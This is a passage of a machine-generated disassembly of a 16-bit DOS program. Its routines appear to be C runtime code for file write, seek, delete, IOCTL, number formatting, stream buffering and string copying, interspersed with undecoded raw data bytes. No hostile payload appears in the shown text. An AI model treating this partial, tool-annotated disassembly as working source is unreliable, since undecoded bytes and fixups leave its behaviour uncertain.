DB 0, 7EH, 19H, 8BH, 56H, 0FEH
DB 8BH, 46H, 0FCH, 52H, 50H, 56H
DB 0E8H, 10H, 0FFH, 99H, 8BH, 0D8H
DB 8BH, 0CAH, 58H, 5AH, 2BH, 0C3H
DB 1BH, 0D1H, 0EBH, 6
LOC_71:
MOV DX,[BP-2]
MOV AX,[BP-4]
LOC_72:
JMP SHORT LOC_73 ; (07B5)
LOC_73:
POP SI
MOV SP,BP
POP BP
RETN

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_25 PROC NEAR
PUSH BP
MOV BP,SP
MOV AX,4400H
MOV BX,[BP+4]
INT 21H ; DOS Services ah=function 44h
; device drivr cntrl al=subfunc
MOV AX,0
JC LOC_74 ; Jump if carry Set
SHL DX,1 ; Shift w/zeros fill
RCL AX,1 ; Rotate thru carry
LOC_74:
JMP SHORT LOC_75 ; (07D0)
LOC_75:
POP BP
RETN
SUB_25 ENDP

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_26 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
PUSH DI
MOV DI,[BP+0AH]
MOV SI,[BP+4]
MOV AX,[SI+0EH]
CMP AX,SI
JNE LOC_76 ; Jump if not equal
CMP WORD PTR [BP+8],2
JG LOC_76 ; Jump if >
CMP DI,7FFFH
JBE LOC_77 ; Jump if below or =
LOC_76:
MOV AX,0FFFFH
JMP LOC_85 ; (08A0)
LOC_77:
CMP WORD PTR DS:DATA_34E,0 ; (7FC4:03A8=0AE46H)
JNE LOC_78 ; Jump if not equal
MOV AX,24EH
CMP AX,SI
JNE LOC_78 ; Jump if not equal
MOV WORD PTR DS:DATA_34E,1 ; (7FC4:03A8=0AE46H)
JMP SHORT LOC_79 ; (0820)
LOC_78:
CMP WORD PTR DS:DATA_33E,0 ; (7FC4:03A6=8D50H)
JNE LOC_79 ; Jump if not equal
MOV AX,23EH
CMP AX,SI
JNE LOC_79 ; Jump if not equal
MOV WORD PTR DS:DATA_33E,1 ; (7FC4:03A6=8D50H)
LOC_79:
CMP WORD PTR [SI],0
JE LOC_80 ; Jump if equal
MOV AX,1
PUSH AX
XOR AX,AX ; Zero register
PUSH AX
PUSH AX
PUSH SI
CALL SUB_24 ; (06F7)
ADD SP,8
LOC_80:
TEST WORD PTR [SI+2],4
JZ LOC_81 ; Jump if zero
PUSH WORD PTR [SI+8]
CALL SUB_47 ; (14CC)
POP CX
LOC_81:
AND WORD PTR [SI+2],0FFF3H
nop ;*Fixup for MASM (M)
MOV WORD PTR [SI+6],0
MOV AX,SI
ADD AX,5
MOV [SI+8],AX
MOV [SI+0AH],AX
CMP WORD PTR [BP+8],2
JE LOC_84 ; Jump if equal
OR DI,DI ; Zero ?
JBE LOC_84 ; Jump if below or =
MOV WORD PTR DS:DATA_31E,8A4H ; (7FC4:0232=2FB9H)
CMP WORD PTR [BP+6],0
JNE LOC_83 ; Jump if not equal
PUSH DI
CALL SUB_19 ; (05CA)
POP CX
MOV [BP+6],AX
OR AX,AX ; Zero ?
JZ LOC_82 ; Jump if zero
OR WORD PTR [SI+2],4
nop ;*Fixup for MASM (M)
JMP SHORT LOC_83 ; (0885)
LOC_82:
MOV AX,0FFFFH
JMP SHORT LOC_85 ; (08A0)
LOC_83:
MOV AX,[BP+6]
MOV [SI+0AH],AX
MOV [SI+8],AX
MOV [SI+6],DI
CMP WORD PTR [BP+8],1
JNE LOC_84 ; Jump if not equal
OR WORD PTR [SI+2],8
nop ;*Fixup for MASM (M)
LOC_84:
XOR AX,AX ; Zero register
JMP SHORT LOC_85 ; (08A0)
LOC_85:
POP DI
POP SI
POP BP
RETN
SUB_26 ENDP

DB 56H, 57H, 0BFH, 4, 0, 0BEH
DB 3EH, 2, 0EBH, 10H
LOC_86:
TEST WORD PTR [SI+2],3
JZ LOC_87 ; Jump if zero
PUSH SI
CALL SUB_34 ; (0BEE)
POP CX
LOC_87:
DEC DI
ADD SI,10H
OR DI,DI ; Zero ?
JNZ LOC_86 ; Jump if not zero
POP DI
POP SI
RETN

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_27 PROC NEAR
PUSH BP
MOV BP,SP
SUB SP,8AH
PUSH SI
PUSH DI
MOV AX,[BP+8]
INC AX
CMP AX,2
JAE LOC_88 ; Jump if above or =
XOR AX,AX ; Zero register
JMP LOC_100 ; (09D2)
LOC_88:
MOV BX,[BP+4]
SHL BX,1 ; Shift w/zeros fill
TEST WORD PTR DS:DATA_32E[BX],8000H ; (7FC4:037E=50FFH)
JZ LOC_89 ; Jump if zero
PUSH WORD PTR [BP+8]
PUSH WORD PTR [BP+6]
PUSH WORD PTR [BP+4]
CALL SUB_28 ; (09D8)
ADD SP,6
JMP LOC_100 ; (09D2)
LOC_89:
MOV BX,[BP+4]
SHL BX,1 ; Shift w/zeros fill
AND WORD PTR DS:DATA_32E[BX],0FDFFH ; (7FC4:037E=50FFH)
MOV AX,[BP+6]
MOV SS:DATA_136E[BP],AX ; (817F:FF7C=0)
MOV AX,[BP+8]
MOV SS:DATA_134E[BP],AX ; (817F:FF78=0)
LEA SI,[BP-82H] ; Load effective addr
JMP SHORT LOC_95 ; (0987)
LOC_90:
DEC WORD PTR SS:DATA_134E[BP] ; (817F:FF78=0)
MOV BX,SS:DATA_136E[BP] ; (817F:FF7C=0)
INC WORD PTR SS:DATA_136E[BP] ; (817F:FF7C=0)
MOV AL,[BX]
MOV SS:DATA_135E[BP],AL ; (817F:FF7B=0)
CMP AL,0AH
JNE LOC_91 ; Jump if not equal
MOV BYTE PTR [SI],0DH
INC SI
LOC_91:
MOV AL,SS:DATA_135E[BP] ; (817F:FF7B=0)
MOV [SI],AL
INC SI
LEA AX,[BP-82H] ; Load effective addr
MOV DX,SI
SUB DX,AX
CMP DX,80H
JL LOC_95 ; Jump if <
LEA AX,[BP-82H] ; Load effective addr
MOV DI,SI
SUB DI,AX
PUSH DI
LEA AX,[BP-82H] ; Load effective addr
PUSH AX
PUSH WORD PTR [BP+4]
CALL SUB_28 ; (09D8)
ADD SP,6
MOV SS:DATA_133E[BP],AX ; (817F:FF76=0)
CMP AX,DI
JE LOC_94 ; Jump if equal
CMP WORD PTR SS:DATA_133E[BP],0 ; (817F:FF76=0)
JAE LOC_92 ; Jump if above or =
MOV AX,0FFFFH
JMP SHORT LOC_93 ; (0981)
LOC_92:
MOV AX,[BP+8]
SUB AX,SS:DATA_134E[BP] ; (817F:FF78=0)
ADD AX,SS:DATA_133E[BP] ; (817F:FF76=0)
SUB AX,DI
LOC_93:
JMP SHORT LOC_100 ; (09D2)
LOC_94:
LEA SI,[BP-82H] ; Load effective addr
LOC_95:
CMP WORD PTR SS:DATA_134E[BP],0 ; (817F:FF78=0)
JE LOC_96 ; Jump if equal
JMP LOC_90 ; (091A)
nop ;*Fixup for MASM (V)
LOC_96:
LEA AX,[BP-82H] ; Load effective addr
MOV DI,SI
SUB DI,AX
MOV AX,DI
OR AX,AX ; Zero ?
JBE LOC_99 ; Jump if below or =
PUSH DI
LEA AX,[BP-82H] ; Load effective addr
PUSH AX
PUSH WORD PTR [BP+4]
CALL SUB_28 ; (09D8)
ADD SP,6
MOV SS:DATA_133E[BP],AX ; (817F:FF76=0)
CMP AX,DI
JE LOC_99 ; Jump if equal
CMP WORD PTR SS:DATA_133E[BP],0 ; (817F:FF76=0)
JAE LOC_97 ; Jump if above or =
MOV AX,0FFFFH
JMP SHORT LOC_98 ; (09CB)
LOC_97:
MOV AX,[BP+8]
ADD AX,SS:DATA_133E[BP] ; (817F:FF76=0)
SUB AX,DI
LOC_98:
JMP SHORT LOC_100 ; (09D2)
LOC_99:
MOV AX,[BP+8]
JMP SHORT LOC_100 ; (09D2)
LOC_100:
POP DI
POP SI
MOV SP,BP
POP BP
RETN
SUB_27 ENDP

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_28 PROC NEAR
PUSH BP
MOV BP,SP
MOV BX,[BP+4]
SHL BX,1 ; Shift w/zeros fill
TEST WORD PTR DS:DATA_32E[BX],800H ; (7FC4:037E=50FFH)
JZ LOC_101 ; Jump if zero
MOV AX,2
PUSH AX
XOR AX,AX ; Zero register
PUSH AX
PUSH AX
PUSH WORD PTR [BP+4]
CALL SUB_29 ; (0A1E)
MOV SP,BP
LOC_101:
MOV AH,40H ; '@'
MOV BX,[BP+4]
MOV CX,[BP+8]
MOV DX,[BP+6]
INT 21H ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
JC LOC_102 ; Jump if carry Set
PUSH AX
MOV BX,[BP+4]
SHL BX,1 ; Shift w/zeros fill
OR WORD PTR DS:DATA_32E[BX],1000H ; (7FC4:037E=50FFH)
POP AX
JMP SHORT LOC_103 ; (0A1C)
LOC_102:
PUSH AX
CALL SUB_10 ; (031F)
JMP SHORT LOC_103 ; (0A1C)
LOC_103:
POP BP
RETN
SUB_28 ENDP

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_29 PROC NEAR
PUSH BP
MOV BP,SP
MOV BX,[BP+4]
SHL BX,1 ; Shift w/zeros fill
AND WORD PTR DS:DATA_32E[BX],0FDFFH ; (7FC4:037E=50FFH)
MOV AH,42H ; 'B'
MOV AL,[BP+0AH]
MOV BX,[BP+4]
MOV CX,[BP+8]
MOV DX,[BP+6]
INT 21H ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
JC LOC_104 ; Jump if carry Set
JMP SHORT LOC_105 ; (0A47)
LOC_104:
PUSH AX
CALL SUB_10 ; (031F)
CWD ; Word to double word
JMP SHORT LOC_105 ; (0A47)
LOC_105:
POP BP
RETN
SUB_29 ENDP

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_30 PROC NEAR
PUSH BP
MOV BP,SP
SUB SP,22H
PUSH SI
PUSH DI
PUSH ES
MOV DI,[BP+0AH]
PUSH DS
POP ES
MOV BX,[BP+8]
CMP BX,24H
JA LOC_113 ; Jump if above
CMP BL,2
JB LOC_113 ; Jump if below
MOV AX,[BP+0CH]
MOV CX,[BP+0EH]
OR CX,CX ; Zero ?
JGE LOC_106 ; Jump if > or =
CMP BYTE PTR [BP+6],0
JE LOC_106 ; Jump if equal
MOV BYTE PTR [DI],2DH ; '-'
INC DI
NEG CX
NEG AX
SBB CX,0
LOC_106:
LEA SI,[BP-22H] ; Load effective addr
JCXZ LOC_108 ; Jump if cx=0
LOC_107:
XCHG AX,CX
SUB DX,DX
DIV BX ; ax,dx rem=dx:ax/reg
XCHG AX,CX
DIV BX ; ax,dx rem=dx:ax/reg
MOV [SI],DL
INC SI
JCXZ LOC_109 ; Jump if cx=0
JMP SHORT LOC_107 ; (0A84)
LOC_108:
SUB DX,DX
DIV BX ; ax,dx rem=dx:ax/reg
MOV [SI],DL
INC SI
LOC_109:
OR AX,AX ; Zero ?
JNZ LOC_108 ; Jump if not zero
LEA CX,[BP-22H] ; Load effective addr
NEG CX
ADD CX,SI
CLD ; Clear direction

LOCLOOP_110:
DEC SI
MOV AL,[SI]
SUB AL,0AH
JNC LOC_111 ; Jump if carry=0
ADD AL,3AH ; ':'
JMP SHORT LOC_112 ; (0AB4)
LOC_111:
ADD AL,[BP+4]
LOC_112:
STOSB ; Store al to es:[di]
LOOP LOCLOOP_110 ; Loop if cx > 0

LOC_113:
MOV AL,0
STOSB ; Store al to es:[di]
POP ES
MOV AX,[BP+0AH]
JMP SHORT LOC_114 ; (0AC0)
LOC_114:
POP DI
POP SI
MOV SP,BP
POP BP
RETN 0CH
SUB_30 ENDP

DB 55H, 8BH, 0ECH, 83H, 7EH, 8
DB 0AH, 75H, 6, 8BH, 46H, 4
DB 99H, 0EBH, 5, 8BH, 46H, 4
DB 33H, 0D2H, 52H, 50H, 0FFH, 76H
DB 6, 0FFH, 76H, 8, 0B0H, 1
DB 50H, 0B0H, 61H, 50H, 0E8H, 5CH
DB 0FFH, 0EBH, 0
LOC_115:
POP BP
RETN
DB 55H, 8BH, 0ECH, 0FFH, 76H, 6
DB 0FFH, 76H, 4, 0FFH, 76H, 8
DB 0FFH, 76H, 0AH, 0B0H, 0, 50H
DB 0B0H, 61H, 50H, 0E8H, 40H, 0FFH
DB 0EBH, 0, 5DH, 0C3H, 55H, 8BH
DB 0ECH, 0FFH, 76H, 6, 0FFH, 76H
DB 4, 0FFH, 76H, 8, 0FFH, 76H
DB 0AH, 83H, 7EH, 0AH, 0AH, 75H
DB 5, 0B8H, 1, 0, 0EBH, 2
DB 33H, 0C0H, 50H, 0B0H, 61H, 50H
DB 0E8H, 19H, 0FFH, 0EBH, 0
LOC_116:
POP BP
RETN

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_31 PROC NEAR
PUSH BP
MOV BP,SP
MOV AH,41H ; 'A'
MOV DX,[BP+4]
INT 21H ; DOS Services ah=function 41h
; delete file, name @ ds:dx
JC LOC_117 ; Jump if carry Set
XOR AX,AX ; Zero register
JMP SHORT LOC_118 ; (0B4A)
LOC_117:
PUSH AX
CALL SUB_10 ; (031F)
JMP SHORT LOC_118 ; (0B4A)
LOC_118:
POP BP
RETN
SUB_31 ENDP

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_32 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
PUSH DI
CLD ; Clear direction
MOV DI,[BP+4]
PUSH DS
POP ES
MOV DX,DI
XOR AL,AL ; Zero register
MOV CX,0FFFFH
REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al
LEA SI,[DI-1] ; Load effective addr
MOV DI,[BP+6]
MOV CX,0FFFFH
REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al
NOT CX
SUB DI,CX
XCHG SI,DI
TEST SI,1
JZ LOC_119 ; Jump if zero
MOVSB ; Mov [si] to es:[di]
DEC CX
LOC_119:
SHR CX,1 ; Shift w/zeros fill
REP MOVSW ; Rep while cx>0 Mov [si] to es:[di]
JNC LOC_120 ; Jump if carry=0
MOVSB ; Mov [si] to es:[di]
LOC_120:
MOV AX,DX
JMP SHORT LOC_121 ; (0B84)
LOC_121:
POP DI
POP SI
POP BP
RETN
SUB_32 ENDP

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_33 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
PUSH DI
PUSH DS
POP ES
CLD ; Clear direction
MOV DI,[BP+6]
MOV SI,DI
XOR AL,AL ; Zero register
MOV CX,0FFFFH
REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al
NOT CX
MOV DI,[BP+4]
REP MOVSB ; Rep while cx>0 Mov [si] to es:[di]
MOV AX,[BP+4]
JMP SHORT LOC_122 ; (0BA8)
LOC_122:
POP DI
POP SI
POP BP
RETN
SUB_33 ENDP

DB 55H, 8BH, 0ECH, 56H, 57H, 1EH
DB 7, 8BH, 7EH, 4, 8BH, 76H
DB 6, 8BH, 4EH, 8, 0D1H, 0E9H
DB 0FCH, 0F3H, 0A5H, 73H, 1, 0A4H
LOC_123:
MOV AX,[BP+4]
JMP SHORT LOC_124 ; (0BC9)
LOC_124:
POP DI
POP SI
POP BP
RETN
DB 0BAH, 0AAH, 3, 0EBH, 3, 0BAH
DB 0AFH, 3, 0B9H, 5, 0, 90H
DB 0B4H, 40H, 0BBH, 2, 0, 0CDH
DB 21H, 0B9H, 27H, 0, 90H, 0BAH
DB 0B4H, 3, 0B4H, 40H, 0CDH, 21H
DB 0E9H, 0F4H, 0F5H

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_34 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
PUSH DI
MOV SI,[BP+4]
MOV AX,[SI+0EH]
CMP AX,SI
JE LOC_125 ; Jump if equal
MOV AX,0FFFFH
JMP SHORT LOC_130 ; (0C68)
LOC_125:
CMP WORD PTR [SI],0
JL LOC_128 ; Jump if <
TEST WORD PTR [SI+2],8
JNZ LOC_126 ; Jump if not zero
MOV AX,[SI+0AH]
MOV DX,SI
ADD DX,5
CMP AX,DX
JNE LOC_127 ; Jump if not equal
LOC_126:
MOV WORD PTR [SI],0
MOV AX,[SI+0AH]
MOV DX,SI
ADD DX,5
CMP AX,DX
JNE LOC_127 ; Jump if not equal
MOV AX,[SI+8]
MOV [SI+0AH],AX
LOC_127:
XOR AX,AX ; Zero register
JMP SHORT LOC_130 ; (0C68)
LOC_128:
MOV DI,[SI+6]
ADD DI,[SI]
INC DI
SUB [SI],DI
PUSH DI
MOV AX,[SI+8]
MOV [SI+0AH],AX
PUSH AX
MOV AL,[SI+4]
CBW ; Convrt byte to word
PUSH AX
CALL SUB_27 ; (08C5)
ADD SP,6
CMP AX,DI
JE LOC_129 ; Jump if equal
TEST WORD PTR [SI+2],200H
JNZ LOC_129 ; Jump if not zero
OR WORD PTR [SI+2],10H
nop ;*Fixup for MASM (M)
MOV AX,0FFFFH
JMP SHORT LOC_130 ; (0C68)
LOC_129:
XOR AX,AX ; Zero register
JMP SHORT LOC_130 ; (0C68)
LOC_130:
POP DI
POP SI
POP BP
RETN
SUB_34 ENDP

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_35 PROC NEAR
PUSH BP
MOV BP,SP
MOV BX,[BP+6]
DEC WORD PTR [BX]
PUSH WORD PTR [BP+6]
MOV AL,[BP+4]
CBW ; Convrt byte to word
PUSH AX
CALL SUB_36 ; (0C85)
MOV SP,BP
JMP SHORT LOC_131 ; (0C83)
LOC_131:
POP BP
RETN
SUB_35 ENDP

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_36 PROC NEAR
PUSH BP
MOV BP,SP
SUB SP,2
PUSH SI
MOV SI,[BP+6]
MOV AL,[BP+4]
MOV [BP-1],AL
LOC_132:
INC WORD PTR [SI]
JGE LOC_135 ; Jump if > or =
MOV AL,[BP-1]
INC WORD PTR [SI+0AH]
MOV BX,[SI+0AH]
MOV [BX-1],AL
TEST WORD PTR [SI+2],8
JZ LOC_134 ; Jump if zero
CMP BYTE PTR [BP-1],0AH
JE LOC_133 ; Jump if equal
CMP BYTE PTR [BP-1],0DH
JNE LOC_134 ; Jump if not equal
LOC_133:
PUSH SI
CALL SUB_34 ; (0BEE)
POP CX
OR AX,AX ; Zero ?
JZ LOC_134 ; Jump if zero
MOV AX,0FFFFH
JMP LOC_149 ; (0DB0)
LOC_134:
MOV AL,[BP-1]
MOV AH,0
JMP LOC_149 ; (0DB0)
LOC_135:
DEC WORD PTR [SI]
TEST WORD PTR [SI+2],90H
JNZ LOC_136 ; Jump if not zero
TEST WORD PTR [SI+2],2
JNZ LOC_137 ; Jump if not zero
LOC_136:
OR WORD PTR [SI+2],10H
nop ;*Fixup for MASM (M)
MOV AX,0FFFFH
JMP LOC_149 ; (0DB0)
LOC_137:
OR WORD PTR [SI+2],100H
CMP WORD PTR [SI+6],0
JE LOC_141 ; Jump if equal
CMP WORD PTR [SI],0
JE LOC_139 ; Jump if equal
PUSH SI
CALL SUB_34 ; (0BEE)
POP CX
OR AX,AX ; Zero ?
JZ LOC_138 ; Jump if zero
MOV AX,0FFFFH
JMP LOC_149 ; (0DB0)
LOC_138:
JMP SHORT LOC_140 ; (0D15)
LOC_139:
MOV AX,0FFFFH
MOV DX,[SI+6]
SUB AX,DX
MOV [SI],AX
LOC_140:
JMP LOC_132 ; (0C95)
JMP LOC_149 ; (0DB0)
LOC_141:
CMP WORD PTR DS:DATA_34E,0 ; (7FC4:03A8=0AE46H)
JNE LOC_145 ; Jump if not equal
MOV AX,24EH
CMP AX,SI
JNE LOC_145 ; Jump if not equal
MOV AL,[SI+4]
CBW ; Convrt byte to word
PUSH AX
CALL SUB_25 ; (07BA)
POP CX
OR AX,AX ; Zero ?
JNZ LOC_142 ; Jump if not zero
AND WORD PTR [SI+2],0FDFFH
LOC_142:
MOV AX,200H
PUSH AX
TEST WORD PTR [SI+2],200H
JZ LOC_143 ; Jump if zero
MOV AX,2
JMP SHORT LOC_144 ; (0D4D)
LOC_143:
XOR AX,AX ; Zero register
LOC_144:
PUSH AX
XOR AX,AX ; Zero register
PUSH AX
PUSH SI
CALL SUB_26 ; (07D2)
ADD SP,8
JMP LOC_137 ; (0CEA)
nop ;*Fixup for MASM (V)
LOC_145:
CMP BYTE PTR [BP-1],0AH
JNE LOC_146 ; Jump if not equal
TEST WORD PTR [SI+2],40H
JNZ LOC_146 ; Jump if not zero
MOV AX,1
PUSH AX
MOV AX,3DCH
PUSH AX
MOV AL,[SI+4]
CBW ; Convrt byte to word
PUSH AX
CALL SUB_28 ; (09D8)
ADD SP,6
CMP AX,1
JNE LOC_147 ; Jump if not equal
LOC_146:
MOV AX,1
PUSH AX
LEA AX,[BP+4] ; Load effective addr
PUSH AX
MOV AL,[SI+4]
CBW ; Convrt byte to word
PUSH AX
CALL SUB_28 ; (09D8)
ADD SP,6
CMP AX,1
JE LOC_148 ; Jump if equal
LOC_147:
TEST WORD PTR [SI+2],200H
JNZ LOC_148 ; Jump if not zero
OR WORD PTR [SI+2],10H
nop ;*Fixup for MASM (M)
MOV AX,0FFFFH
JMP SHORT LOC_149 ; (0DB0)
LOC_148:
MOV AL,[BP-1]
MOV AH,0
JMP SHORT LOC_149 ; (0DB0)
LOC_149:
POP SI
MOV SP,BP
POP BP
RETN
SUB_36 ENDP

DB 55H, 8BH, 0ECH, 56H, 8BH, 76H
DB 4, 0B8H, 4EH, 2, 50H, 56H
DB 0E8H, 0C1H, 0FEH, 59H, 59H, 0EBH
DB 0, 5EH, 5DH, 0C3H, 55H, 8BH
DB 0ECH, 83H, 0ECH, 2, 56H, 57H
DB 8BH, 76H, 4, 8BH, 7EH, 6
DB 47H, 0F7H, 44H, 2, 8, 0
DB 74H, 23H, 0EBH, 2
LOC_150:
JMP SHORT LOC_151 ; (0DE5)
LOC_151:
DEC DI
MOV AX,DI
OR AX,AX ; Zero ?
JZ LOC_152 ; Jump if zero
PUSH SI
MOV BX,[BP+8]
INC WORD PTR [BP+8]
MOV AL,[BX]
CBW ; Convrt byte to word
PUSH AX
CALL SUB_36 ; (0C85)
POP CX
POP CX
CMP AX,0FFFFH
JNE LOC_150 ; Jump if not equal
LOC_152:
JMP LOC_159 ; (0E79)
DB 0F7H, 44H, 2, 40H, 0, 74H
DB 37H, 83H, 7CH, 6, 0, 74H
DB 31H, 8BH, 44H, 6, 3BH, 0C7H
DB 73H, 2AH, 83H, 3CH, 0, 74H
DB 0DH, 56H, 0E8H, 0CDH, 0FDH, 59H
DB 0BH, 0C0H, 74H, 4, 33H, 0C0H
DB 0EBH
DB 53H
LOC_153:
DEC DI
PUSH DI
PUSH WORD PTR [BP+8]
MOV AL,[SI+4]
CBW ; Convrt byte to word
PUSH AX
CALL SUB_28 ; (09D8)
ADD SP,6
MOV [BP-2],AX
SUB DI,[BP-2]
JMP SHORT LOC_159 ; (0E79)
LOC_154:
JMP SHORT LOC_156 ; (0E46)
LOC_155:
JMP SHORT LOC_156 ; (0E46)
LOC_156:
DEC DI
MOV AX,DI
OR AX,AX ; Zero ?
JZ LOC_159 ; Jump if zero
INC WORD PTR [SI]
JGE LOC_157 ; Jump if > or =
MOV BX,[BP+8]
INC WORD PTR [BP+8]
MOV AL,[BX]
INC WORD PTR [SI+0AH]
MOV BX,[SI+0AH]
MOV [BX-1],AL
MOV AH,0
JMP SHORT LOC_158 ; (0E74)
LOC_157:
PUSH SI
MOV BX,[BP+8]
INC WORD PTR [BP+8]
PUSH WORD PTR [BX]
CALL SUB_35 ; (0C6C)
POP CX
POP CX
LOC_158:
CMP AX,0FFFFH
JNE LOC_155 ; Jump if not equal
LOC_159:
MOV AX,DI
JMP SHORT LOC_160 ; (0E7D)
LOC_160:
POP DI
POP SI
MOV SP,BP
POP BP
RETN 6

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_37 PROC NEAR
JMP WORD PTR DS:[45CH] ; (8134:045C=0BCDH)

;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

SUB_38:
PUSH BP
MOV BP,SP
MOV DX,[BP+4]
MOV CX,0F04H
MOV BX,3E5H
CLD ; Clear direction
MOV AL,DH
SHR AL,CL ; Shift w/zeros fill
XLAT ; al=[al+[bx]] table
STOSB ; Store al to es:[di]
MOV AL,DH
AND AL,CH
XLAT ; al=[al+[bx]] table
STOSB ; Store al to es:[di]
MOV AL,DL
